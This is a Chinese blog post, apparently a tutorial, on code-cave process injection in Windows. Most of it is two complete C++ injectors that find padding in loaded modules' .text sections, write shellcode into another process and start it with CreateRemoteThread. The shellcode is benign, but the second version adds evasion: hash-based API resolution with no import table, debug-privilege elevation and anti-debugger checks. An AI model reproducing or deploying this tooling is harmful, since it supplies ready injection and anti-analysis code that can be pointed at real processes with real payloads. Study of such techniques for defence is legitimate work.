news 2026/10/15 21:41:07

第六章:CodeCave扫描与.text节空隙利用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
第六章:CodeCave扫描与.text节空隙利用

大家好,你们可以叫我凌。

今天我们来唠唠 Code Cave 注入,不过该注入方法常常因为CFG而经常无法成功,所以说这篇文章仅仅用于讲解其中原理。

当然,要想注入成功则需要用 SetProcessValidCallTargets 把 Code Cave 地址注册为合法入口,但是需要进程有 CFG 权限。

Github仓库地址


.text节为什么会有空隙

PE 节区的对齐规则

PE 文件在磁盘上时,节区按照FileAlignment(通常是0x200,即512字节)对齐。加载到 内存时,节区按照SectionAlignment(通常是0x1000,即4KB)对齐。

举例说明

假设某个DLL的 .text 节
➢ 磁盘上的实际代码大小:0x1A00字节
➢ 磁盘对齐后占用:0x1A00(向上取整到0x200的倍数,正好是0x1A00)
➢ 内存对齐后占用:0x2000(向上取整到0x1000的倍数)

空隙里填的是什么

链接器在填充这些空隙时,通常会填入以下两种字节:
➢ 0x00:未初始化区域,常见于编译器的默认行为。
➢ 0xCC:调试断点指令(int 3),微软的 MSVC 编译器在Debug模式下喜欢用这个填充。

物理意义:这些字节在 CPU 眼里是合法的可执行指令(0x00是add [rax], al,0xCC是断 点),但程序永远不会执行到这里(因为代码段逻辑不会跳到填充区)。所以它是天然的可执行空地。

代码示例

明文 API 实现

关键物理动作解释:

#include <windows.h> #include <psapi.h> #include <tlhelp32.h> #include <iostream> #include <vector> #pragma comment(lib, "psapi.lib") // ============================================================ // Shellcode: mov eax, 42; ret(极简,便于测试) // ============================================================ unsigned char shellcode[] = { 0xB8, 0x2A, 0x00, 0x00, 0x00, 0xC3 }; SIZE_T shellcodeSize = sizeof(shellcode); // ============================================================ // 第一步:扫描指定模块的 .text 节,找到足够大的空隙 // 返回:空隙的起始地址(在目标进程里的绝对地址),失败返回 nullptr // ============================================================ LPVOID FindCodeCave(HANDLE hProcess, HMODULE hModule, SIZE_T needSize) { BYTE* moduleBase = (BYTE*)hModule; BYTE localDos[0x40] = {0}; if (!ReadProcessMemory(hProcess, moduleBase, localDos, 0x40, NULL)) return nullptr; IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos; if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr; BYTE localNt[0x108] = {0}; if (!ReadProcessMemory(hProcess, moduleBase + pDos->e_lfanew, localNt, 0x108, NULL)) return nullptr; IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt; if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr; DWORD sectionAlignment = pNt->OptionalHeader.SectionAlignment; WORD numberOfSections = pNt->FileHeader.NumberOfSections; WORD sizeOfOptionalHeader = pNt->FileHeader.SizeOfOptionalHeader; DWORD sectionTableOffset = pDos->e_lfanew + 4 + 20 + sizeOfOptionalHeader; for (WORD i = 0; i < numberOfSections; i++) { IMAGE_SECTION_HEADER section; if (!ReadProcessMemory(hProcess, moduleBase + sectionTableOffset + i * sizeof(IMAGE_SECTION_HEADER), &section, sizeof(section), NULL)) return nullptr; if (strncmp((char*)section.Name, ".text", 5) != 0) continue; BYTE* sectionStart = moduleBase + section.VirtualAddress; DWORD virtualSize = section.Misc.VirtualSize; DWORD alignedSize = ((virtualSize + sectionAlignment - 1) / sectionAlignment) * sectionAlignment; DWORD caveSize = alignedSize - virtualSize; if (caveSize < needSize) { std::cout << "[*] .text 节空隙只有 " << caveSize << " 字节,不够 " << needSize << " 字节" << std::endl; continue; } BYTE* caveStart = sectionStart + virtualSize; std::vector<BYTE> caveBuffer(caveSize); if (!ReadProcessMemory(hProcess, caveStart, caveBuffer.data(), caveSize, NULL)) return nullptr; bool isClean = true; for (DWORD j = 0; j < caveSize; j++) { if (caveBuffer[j] != 0x00 && caveBuffer[j] != 0xCC) { isClean = false; break; } } if (!isClean) { std::cout << "[*] 空隙被占用,跳过" << std::endl; continue; } std::cout << "[+] 找到空隙: 0x" << std::hex << (uintptr_t)caveStart << " 大小: " << std::dec << caveSize << " 字节" << std::endl; return caveStart; } return nullptr; } // ============================================================ // 第二步:主注入流程 // ============================================================ int main() { DWORD pid; std::cout << "[*] 请输入目标进程 PID: "; std::cin >> pid; HANDLE hProcess = OpenProcess( PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid); if (!hProcess) { std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl; return 1; } HMODULE modules[1024]; DWORD needed = 0; if (!EnumProcessModules(hProcess, modules, sizeof(modules), &needed)) { std::cerr << "[-] EnumProcessModules 失败" << std::endl; CloseHandle(hProcess); return 1; } DWORD moduleCount = needed / sizeof(HMODULE); std::cout << "[*] 共找到 " << moduleCount << " 个模块" << std::endl; LPVOID caveAddr = nullptr; for (DWORD i = 0; i < moduleCount; i++) { char modName[MAX_PATH] = {0}; GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH); std::cout << "[" << i << "] 检查模块: " << modName << std::endl; caveAddr = FindCodeCave(hProcess, modules[i], shellcodeSize); if (caveAddr) { std::cout << "[+] 在 " << modName << " 中找到空隙!" << std::endl; break; } } if (!caveAddr) { std::cerr << "[-] 所有模块都没找到合适的空隙" << std::endl; CloseHandle(hProcess); return 1; } if (!WriteProcessMemory(hProcess, caveAddr, shellcode, shellcodeSize, NULL)) { std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl; CloseHandle(hProcess); return 1; } std::cout << "[+] Shellcode 写入成功" << std::endl; HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)caveAddr, NULL, 0, NULL); if (!hThread) { std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl; CloseHandle(hProcess); return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); std::cout << "[+] 注入完成" << std::endl; system("pause"); return 0; }

无 IAT 版本

#include <windows.h> #include <iostream> #include <vector> #include "EnableDebugPrivilege.h" #include "IsDebugging.h" #include "Hash.h" #include "GetProcAddress.h" // ============================================================ // Shellcode // ============================================================ unsigned char shellcode[] = { 0xB8, 0x2A, 0x00, 0x00, 0x00, 0xC3 }; SIZE_T shellcodeSize = sizeof(shellcode); // ============================================================ // 函数指针类型定义 // ============================================================ typedef HANDLE (WINAPI *pOpenProcess)(DWORD, BOOL, DWORD); typedef BOOL (WINAPI *pEnumProcessModules)(HANDLE, HMODULE*, DWORD, LPDWORD); typedef DWORD (WINAPI *pGetModuleBaseNameA)(HANDLE, HMODULE, LPSTR, DWORD); typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); typedef BOOL (WINAPI *pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD (WINAPI *pWaitForSingleObject)(HANDLE, DWORD); typedef BOOL (WINAPI *pCloseHandle)(HANDLE); // ============================================================ // 函数指针容器 // ============================================================ struct ApiFuncs { pOpenProcess OpenProcess; pEnumProcessModules EnumProcessModules; pGetModuleBaseNameA GetModuleBaseNameA; pReadProcessMemory ReadProcessMemory; pWriteProcessMemory WriteProcessMemory; pCreateRemoteThread CreateRemoteThread; pWaitForSingleObject WaitForSingleObject; pCloseHandle CloseHandle; bool valid; }; __declspec(noinline) ApiFuncs InitApiFuncs() { ApiFuncs f{}; DWORD hKernel32 = NHash32::hash("kernel32.dll"); DWORD hPsapi = NHash32::hash("psapi.dll"); f.OpenProcess = (pOpenProcess) GetProcAddressEx(hKernel32, NHash32::hash("OpenProcess")); f.ReadProcessMemory = (pReadProcessMemory) GetProcAddressEx(hKernel32, NHash32::hash("ReadProcessMemory")); f.WriteProcessMemory = (pWriteProcessMemory)GetProcAddressEx(hKernel32, NHash32::hash("WriteProcessMemory")); f.CreateRemoteThread = (pCreateRemoteThread)GetProcAddressEx(hKernel32, NHash32::hash("CreateRemoteThread")); f.WaitForSingleObject= (pWaitForSingleObject)GetProcAddressEx(hKernel32, NHash32::hash("WaitForSingleObject")); f.CloseHandle = (pCloseHandle) GetProcAddressEx(hKernel32, NHash32::hash("CloseHandle")); // psapi.dll 里的函数(Win7 之后也导出于 kernel32,但为了保险用 psapi) f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hPsapi, NHash32::hash("EnumProcessModules")); f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hPsapi, NHash32::hash("GetModuleBaseNameA")); // 如果 psapi 找不到,退回 kernel32(Win7+ 有转发导出) if (!f.EnumProcessModules) f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hKernel32, NHash32::hash("K32EnumProcessModules")); if (!f.GetModuleBaseNameA) f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hKernel32, NHash32::hash("K32GetModuleBaseNameA")); f.valid = f.OpenProcess && f.EnumProcessModules && f.GetModuleBaseNameA && f.ReadProcessMemory && f.WriteProcessMemory && f.CreateRemoteThread && f.WaitForSingleObject && f.CloseHandle; return f; } // ============================================================ // Code Cave 扫描(用函数指针版) // ============================================================ __declspec(noinline) LPVOID FindCodeCave(const ApiFuncs& f, HANDLE hProcess, HMODULE hModule, SIZE_T needSize) { BYTE* moduleBase = (BYTE*)hModule; BYTE localDos[0x40] = {0}; if (!f.ReadProcessMemory(hProcess, moduleBase, localDos, 0x40, NULL)) return nullptr; IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos; if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr; BYTE localNt[0x108] = {0}; if (!f.ReadProcessMemory(hProcess, moduleBase + pDos->e_lfanew, localNt, 0x108, NULL)) return nullptr; IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt; if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr; DWORD sectionAlignment = pNt->OptionalHeader.SectionAlignment; WORD numberOfSections = pNt->FileHeader.NumberOfSections; WORD sizeOfOptionalHeader = pNt->FileHeader.SizeOfOptionalHeader; DWORD sectionTableOffset = pDos->e_lfanew + 4 + 20 + sizeOfOptionalHeader; for (WORD i = 0; i < numberOfSections; i++) { IMAGE_SECTION_HEADER section; if (!f.ReadProcessMemory(hProcess, moduleBase + sectionTableOffset + i * sizeof(IMAGE_SECTION_HEADER), &section, sizeof(section), NULL)) return nullptr; if (strncmp((char*)section.Name, ".text", 5) != 0) continue; BYTE* sectionStart = moduleBase + section.VirtualAddress; DWORD virtualSize = section.Misc.VirtualSize; DWORD alignedSize = ((virtualSize + sectionAlignment - 1) / sectionAlignment) * sectionAlignment; DWORD caveSize = alignedSize - virtualSize; if (caveSize < needSize) continue; BYTE* caveStart = sectionStart + virtualSize; std::vector<BYTE> caveBuffer(caveSize); if (!f.ReadProcessMemory(hProcess, caveStart, caveBuffer.data(), caveSize, NULL)) return nullptr; bool isClean = true; for (DWORD j = 0; j < caveSize; j++) { if (caveBuffer[j] != 0x00 && caveBuffer[j] != 0xCC) { isClean = false; break; } } if (!isClean) continue; return caveStart; } return nullptr; } // ============================================================ // main // ============================================================ int main() { EnableDebugPrivilege(); if (IsDebuggingA()) { std::cerr << "[-] 检测到调试器" << std::endl; return 0; } ApiFuncs f = InitApiFuncs(); if (!f.valid) { std::cerr << "[-] 函数解析失败" << std::endl; return 1; } std::cout << "[+] 所有函数解析成功" << std::endl; DWORD pid; std::cout << "[*] 请输入目标进程 PID: "; std::cin >> pid; HANDLE hProcess = f.OpenProcess( PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid); if (!hProcess) { std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl; return 1; } HMODULE modules[1024]; DWORD needed = 0; if (!f.EnumProcessModules(hProcess, modules, sizeof(modules), &needed)) { std::cerr << "[-] EnumProcessModules 失败" << std::endl; f.CloseHandle(hProcess); return 1; } DWORD moduleCount = needed / sizeof(HMODULE); LPVOID caveAddr = nullptr; for (DWORD i = 0; i < moduleCount; i++) { char modName[MAX_PATH] = {0}; f.GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH); std::cout << "[" << i << "] 检查 " << modName << std::endl; caveAddr = FindCodeCave(f, hProcess, modules[i], shellcodeSize); if (caveAddr) { std::cout << "[+] 在 " << modName << " 中找到空隙: 0x" << std::hex << (uintptr_t)caveAddr << std::dec << std::endl; break; } } if (!caveAddr) { std::cerr << "[-] 未找到合适的空隙" << std::endl; f.CloseHandle(hProcess); return 1; } if (!f.WriteProcessMemory(hProcess, caveAddr, shellcode, shellcodeSize, NULL)) { std::cerr << "[-] WriteProcessMemory 失败" << std::endl; f.CloseHandle(hProcess); return 1; } std::cout << "[+] Shellcode 写入成功(无需 VirtualProtectEx)" << std::endl; HANDLE hThread = f.CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)caveAddr, NULL, 0, NULL); if (!hThread) { std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl; f.CloseHandle(hProcess); return 1; } f.WaitForSingleObject(hThread, INFINITE); f.CloseHandle(hThread); f.CloseHandle(hProcess); std::cout << "[+] 注入完成" << std::endl; system("pause"); return 0; }

两版对比总结

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 21:40:53

余弦相似度与欧氏距离:相似度度量的核心差异与工程选择

很多人在刚接触机器学习或者做推荐系统、文本匹配的时候&#xff0c;都会遇到两个绕不开的名字&#xff1a;余弦相似度和欧氏距离。这俩确实是衡量"东西像不像"最常用的两个指标&#xff0c;但也是被误解得最深的一对。我见过太多人拿到数据就无脑算一个&#xff0c;…

作者头像 李华
网站建设 2026/10/15 21:40:51

从零搭建聚合搜索工具:搜索源接入、结果聚合与部署实践

最近在整理书签和常用工具时&#xff0c;发现“柠檬搜索”这类聚合搜索工具又回到了开发者的视野里。这次回归不仅带来了更清爽的界面&#xff0c;也让大家重新开始讨论“自建搜索入口”这件事到底值不值得做。与其停留在“好不好用”的层面&#xff0c;不如直接动手&#xff0…

作者头像 李华
网站建设 2026/10/15 21:38:05

Agent落地最后一公里:灵衢互联、分级适配与软硬协同实践解析

这段时间被Agent折腾得够呛的朋友应该不少&#xff1a;模型聪明不聪明已经排不到第一位了&#xff0c;真正让人头大的是&#xff0c;Agent在演示环境里跑得行云流水&#xff0c;一旦搬到生产环境就各种“最后一公里”问题冒出来——工具调用超时、端侧算力吃不消、多个Agent互相…

作者头像 李华
网站建设 2026/10/15 21:36:24

近世代数课件怎么啃?从代数系统主线到运算性质一次讲透

简介&#xff1a;近世代数课件面向数学专业本科生、考研学生以及自学抽象代数的读者&#xff0c;系统梳理了近世代数的核心概念与知识框架。内容从代数系统的定义与性质切入&#xff0c;依次介绍同构与同态、同余关系、商代数和积代数、半群与独异点、群与子群、循环群与置换群…

作者头像 李华
网站建设 2026/10/15 21:33:48

华为 MatePad / 折叠屏远控电脑,指针总差几厘米?这样校准

很多华为 MatePad、折叠屏用户在远程控制电脑时都有过这种抓狂时刻&#xff1a;明明点的是图标&#xff0c;鼠标却落在差几厘米的地方&#xff0c;反复点都点不中。这不是你的手抖&#xff0c;也不是屏幕坏了&#xff0c;而是屏幕坐标系的适配问题。这篇文章讲清楚原因&#xf…

作者头像 李华
网站建设 2026/10/15 21:31:47

Ubuntu 24.04 安装 PostgreSQL 18:PGDG 源、远程连接与性能调优实操

很多人在这台服务器上折腾数据库时&#xff0c;最容易踩的坑就是&#xff1a;明明是 Ubuntu 24.04&#xff0c;执行apt install postgresql后却发现自己装的是 16&#xff0c;而不是标题里想用的 PostgreSQL 18。如果你准备从零搭一套 PostgreSQL 18&#xff0c;并且想一次性搞…

作者头像 李华